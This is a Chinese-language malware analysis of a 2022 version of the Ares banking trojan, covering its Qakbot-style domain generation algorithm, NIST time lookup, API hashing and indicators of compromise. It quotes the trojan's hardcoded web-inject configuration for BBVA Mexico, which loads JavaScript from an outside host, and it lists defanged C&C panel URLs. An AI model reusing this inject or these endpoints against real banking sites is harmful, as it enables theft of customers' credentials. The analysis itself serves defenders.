新瓶装旧酒,Ares 银行木马新增 Qakbot DGA 算法

article/2025/9/20 19:28:01

Ares 银行木马在 2021 年 2 月出现,研究人员一直在跟踪该恶意软件的发展。Ares 基于 Osiris 恶意软件家族而来,后者也是由 Kronos 银行木马衍生而来。2022 年 3 月到 2022 年 8 月,Ares 一直都处于静默期。但是 2022 年 8 月 Ares 又重出江湖,并且新增了与 Qakbot 银行木马类似的 DGA 算法。

技术分析

Ares 样本包含一个或多个硬编码 URL,用于 C&C 通信。在新版本的 Ares 中,会尝试请求 C&C 服务器达 50 次。如果无法联通,就启用 DGA 域名。Ares DGA 和 Qakbot DGA 之间的代码对比如下所示:

代码对比

Ares DGA 和 Qakbot DGA 之间的主要区别在于前者每次生成 50 个域名,而旧的 Qakbot 算法每次生成 5000 个域名。Ares 通过 TCP 端口 13 使用 daytime 协议通过以下服务器检索当前日期:

time-a.nist.gov

time-a-g.nist.gov

time.nist.gov

NIST 服务器的响应为 59820 22-08-29 23:18:13 50 0 0 593.0 UTC(NIST) *

Ares 的 DGA 算法会生成一个长度在 8 到 25 个字符间的域名,并且在 com、net、org、info、biz、org 中选择一个作为顶级域名。Ares 的 DGA 算法每月产生 150 个域名,Ares 在 2022 年 8 月 29 日生成的域名如下所示:

2022 年 8 月 29 日的 DGA 域

目前这些域名都没有解析记录。

对 Ares 代码的分析表明,该算法很可能被重新实现,而不是继续使用 Qakbot 的 DGA 代码。攻击者很可能是基于 Qakbot 的开源实现进行定制化修改的,二者存在诸多相似之处。

研究人员提供了生成 Ares DGA 域名的 Python 脚本,也在 GitHub中存储。

Web 注入配置

攻击者正在测试 Web 注入,将 HTML 内容与 JavaScript 代码插入目标网站。当前 Ares 的 C&C 服务器并不提供动态 Web 注入配置,但样本中包含了硬编码的、以 BBVA Mexico 为目标的配置:

set_url http*bbva*.mx* GPdata_before<body*>data_enddata_inject<div id="botid" style="display:none;">%BOTID%</div><script type="text/javascript" src="https://www.trendybaby.co[.]uk/assets/css/homeats.js"></script>data_end

动态 API 哈希算法

Ares 的开发人员修改了 Kronos 的原始代码,通过 Windows API 哈希值以动态解析 NTDLL 函数。尽管对 CRC64 算法的修改非常小,但已经能够绕过此前检测 Kronos 的静态签名。

动态 API 哈希算法

例如,字符串 sprintf 的标准 CRC64 哈希值为 5FE79276722143D0,而在 Ares 中的 CRC64 哈希值为 DC1FC2878FEE79C0。Ares 然后利用 Kronos 算法将这些值进行映射,研究人员实现了 Python 脚本来进行映射。

总结

Ares 的开发人员持续为恶意软件增加新功能,最近又新增了 Qakbot 的 DGA 算法。这为攻击者提供了更好的韧性,便于获取整个网络的控制权。

IOC

7498e37c332d55c14247ae4b675e726336a8683900d8fd1da412905567d2de4a
e5d624b7060c0e885abe11a0973a43a355c9930fc6912ff5eac83d1a9eec9c29
035793d479c4229693fc6dcceaa639cd51ae89334b43e552b9c47a6dea68ce30
94b084ea925990742f4eaaada1eef9a42c13066bf4f4c7a3b12a1509e32ff9e6
09897c6ef88b9e9bc20917a2b47ec86ff2b727a2923678f5e2df6bb6437d3312
956ae36f40d0d847daa00d7964906e7e9d1671d0f3f2e7d257d5a8d324388c31
6c5dac9043b2f112543f3eca6503d4bcc70d762b47d75dcb85f9767c603de56f
b3348405cd0fa66661b46bc6cbab97b55708be26a2ed7a745e1632b46d1b3f41
baae5bbaf2decf7af9b22c4d10f66c7c77c9ebc7b73476f7cbe449d2bba97ed9
31ed2ee200da9a35ab3868b3d2977e6b18bc49772d39c27d57a53b49b6e6fa4a
http://vbyrduc537l5po3w[.]onion/panel/connect.php
http://wifoweijijfoiwjweoi[.]xyz/panel/connect.php
http://ddkiiqefmiir[.]xyz/panel/connect.php
http://ddkiilefmjim[.]xyz/panel/connect.php
http://ddkiieeelkif[.]xyz/panel/connect.php
http://ddkiiofelkkq[.]xyz/panel/connect.php
http://ddkiihfelikh[.]xyz/panel/connect.php
http://ddkiiffdkijh[.]xyz/panel/connect.php
http://ddkiigedliji[.]xyz/panel/connect.php
http://ddkiirfdmjks[.]xyz/panel/connect.php
http://ddkiitefkkju[.]xyz/panel/connect.php
http://mydynamite.dynv6[.]net/panel/connect.php
http://cabletv[.]top/panel/connect.php
https://tomolina[.]top/panel/connect.php


http://chatgpt.dhexx.cn/article/l0GKKial.shtml

相关文章

使用机器学习做DGA域名识别

DGA域名 域名生成算法(Domain Generation Algorithm, DGA) 是一项古老但一直活跃的技术, 是中心结构僵尸网络赖以生存的关键武器, 该技术给打击和关闭该类型僵尸网络造成了不小的麻烦。 研究人员需要快速掌握域名生成算法和输入, 以便对生成的域名及时进行处置。 DGA依…

机器学习DGA域名检测

恶意域名 恶意域名是指黑客在攻击过程中或者对目标网络实施控制时&#xff0c;使用dga算法生成的域名&#xff0c;这种域名通常硬编码在恶意软件中。我们在做流量分析时不仅要通过流量的指纹特征识别威胁&#xff0c;也可以通过检测是否解析了恶意域名来判断网络中是否存在肉鸡…

DGA 域名生成算法攻防

文章目录 一、简介二、背景三、作用四、攻击原理五、DGA域名分类按照种子进行分类按照生成算法进行分类 六、DGA域名举例Banjori DGA 域名生成算法 七、检测手段&#xff08;研究现状&#xff09;概述基于监督学习的检测基于无监督学习的检测基于注册状态进行检测基于威胁情报进…

基于Python深度学习的DGA域名检测

1 背景介绍 1.1 DGA 域名简介 如今&#xff0c;互联网上的很多恶意攻击行为开始借助由域名生成算法生成的域名来抵抗安防软件的检测。这些域名生成算法通常会借助一组随机种子&#xff0c;持续不断的生成大量随机域名。使用这些 DGA 域名进行攻击的流程如图 1.1 所示。 图 1.…

一个简单的DGA(Domain Generate Algorithm)

黑产的规模和技术是越来越强了&#xff0c;想到一句话&#xff1a;任何人都被骗过&#xff0c;所以同样的任何人都被黑过。 针对大规模简单而粗暴的DDoS网络破坏是如何实现的呢&#xff0c;通常除了一些大规模有组织且政府允许的&#xff0c;还有各种各样的个人组织&#xff0c…

DGA数据集和算法研究

针对DGA的研究现在已经很多了&#xff0c;cnki 里面有116篇论文&#xff0c;涉及到dga黑样本&#xff0c;域名白名单&#xff0c;dga算法分析等&#xff0c;在数据集和dga原理的基础上&#xff0c;提出创新检测方案。因此&#xff0c;抽取共性&#xff0c;综合各家dga之所长&am…

dga (Domain Generation Algorithm) 域名 生成算法 简介

目录 一、引言 二、背景 三、检测 四、发展 五、总结 一、引言 恶意软件如今已经发展为威胁网络安全的头号公敌&#xff0c;为了逃避安全设施的检测&#xff0c;其制作过程也越来越复杂&#xff0c;其中一个典型做法是在软件中集成DGA&#xff08;Domain Generation Algo…

你没见过的中文编程工具,用中文开发android安卓应用,安卓开发的初体验!

如果你对中文开发有一定的了解&#xff0c;那么你一定会知道易语言。易语言是仿VB制作的一款中文编程工具。它可以用来开发Windows软件。那有没有用于android安卓开发的中文编程工具呢&#xff1f;有&#xff01;那就是猎码安卓中文开发工具 小编身为一个程序员&#xff0c;在…

自学android编程教程,安卓编程入门教程 安卓编程如何自学

安卓编程入门教程 安卓编程如何自学 时间:2017-04-10 来源:Android开发学习网 安卓编程越来越火,发展前景无比诱人,越来越多的人加入了android开发者的行列。安卓编程入门很简单,今天小编给大家提供一份安卓编程入门教程,告诉大家安卓编程如何自学,希望能够给您带去帮…

没有编程基础如何做安卓开发,试试这款简单易学的中文开发编程工具!

对于没有java编程基础的人来说,想要开发自己的安卓app可能很难。 我们都知道,现在流行的编程工具都是外国人开发的。全英文的界面,再加上全程使英文来写代码,让很多初学者望而却步。绝大部分人选择花费一大笔学费去参加培训班,一学就是几个月,有的甚至半年多。那有没有什…

安卓编程基础——网格布局

目录 前言 一、新课讲解 &#xff08;一&#xff09;网格布局概述 1、布局特点 2、继承关系图 3、常用属性 &#xff08;二&#xff09;案例演示&#xff1a;计算器界面 1、创建安卓应用 2、准备背景图片 3、字符串资源文件 4、自定义边框配置文件 5、主布局资源文件…

Android应用程序开发需要哪些编程语言?

开发一款Android上的应用程序通常需要以下编程语言&#xff1a; Java&#xff1a;Java是Android开发的主要编程语言。几乎所有的Android应用程序都使用Java进行核心开发。你可以使用Java编写应用程序的业务逻辑、界面设计和数据处理等。 刚好我这里有嵌入式、plc、单片机的资料…

安卓编程基础——触摸事件

文章目录 前言 一、安卓事件触摸概述 1、触摸分类 2、触摸动作 3、触摸监听器 4、触摸方法 5、触点个数与坐标 6、安卓触摸事件处理机制 二、使用步骤讲解 1.创建安卓应用 3、字符串资源文件 4、主布局资源文件 5、主界面类实现功能 6、启动应用&#xff0c;查看效果​编辑 总结…

在手机上如何用c语言编译器编程,如何用手机进行编程?

这里介绍3种可以在手机上编程的app&#xff0c;分别是c语言编译器(c语言)、AIDE集成开发环境(java)、QPython3(python)&#xff0c;都不需要root&#xff0c;可以直接编写程序并运行&#xff0c;下面我简单介绍一下这3个app的安装和简单使用&#xff0c;主要内容如下&#xff1…

Android 网络编程

【Android 网络编程】 HTTP HTTP简介 HTTP是一个属于应用层的面向对象的协议&#xff0c;由于其简捷、快速的方式&#xff0c;适用于分布式超媒体信息系统。它于1990年提出&#xff0c;经过几年的使用与发展&#xff0c;得到不断地完善和扩展。 HTTP协议的主要特点 支持C/…

安卓编程基础——手势编程

目录 前言 &#xff08;一&#xff09;安卓手势操作原理 &#xff08;二&#xff09;安卓手势类与接口 二、利用手势切换图片 1.创建安卓应用 3、字符串资源文件 4、主布局资源文件 5、主界面类实现功能 6、启动应用&#xff0c;查看效果 总结 前言 现代智能手机都支持…

安卓编程基础——列表

零、本讲学习目标 理解列表视图的四大组成元素 能使用基于数组适配器的列表视图 能使用基于简单适配器的列表视图 能使用基于基适配器的列表视图 一、导入新课 列表视图是基于适配器的供用户从多个选项中进行选择控件&#xff0c;可以通过滑动显示很多列表项。 二、新课讲解…

安卓编程基础——标签

目录 前言 &#xff08;一&#xff09;继承关系图 &#xff08;二&#xff09;标签常用属性 &#xff08;三&#xff09;教学案例&#xff1a;标签演示 1、创建安卓应用 2、字符串资源文件 3、自定义边框配置文件 4、主布局资源文件 5、主界面类实现功能 6、启动应用&a…

安卓编程基础——菜单

前言&#xff1a;学习目标 知道三种菜单使用场景能够正确使用三种菜单 一、新课讲解 菜单在安卓应用程序中占有比较重要的位置。原生安卓提供了三种类型的菜单&#xff1a;选项菜单&#xff08;OptionsMenu&#xff09;、上下文菜单&#xff08;ContextMenu&#xff09;和子菜…

安卓并发编程基础

1.线程 1.线程与进程的区别。 进程是程序运行和资源分配的基本单位&#xff0c;一个程序至少有一个进程&#xff0c;一个进程至少有一个线程。进程在执行过程中拥有独立的内存单元&#xff0c;而多个线程共享内存资源&#xff0c;减少切换次数&#xff0c;从而效率更高。线程是…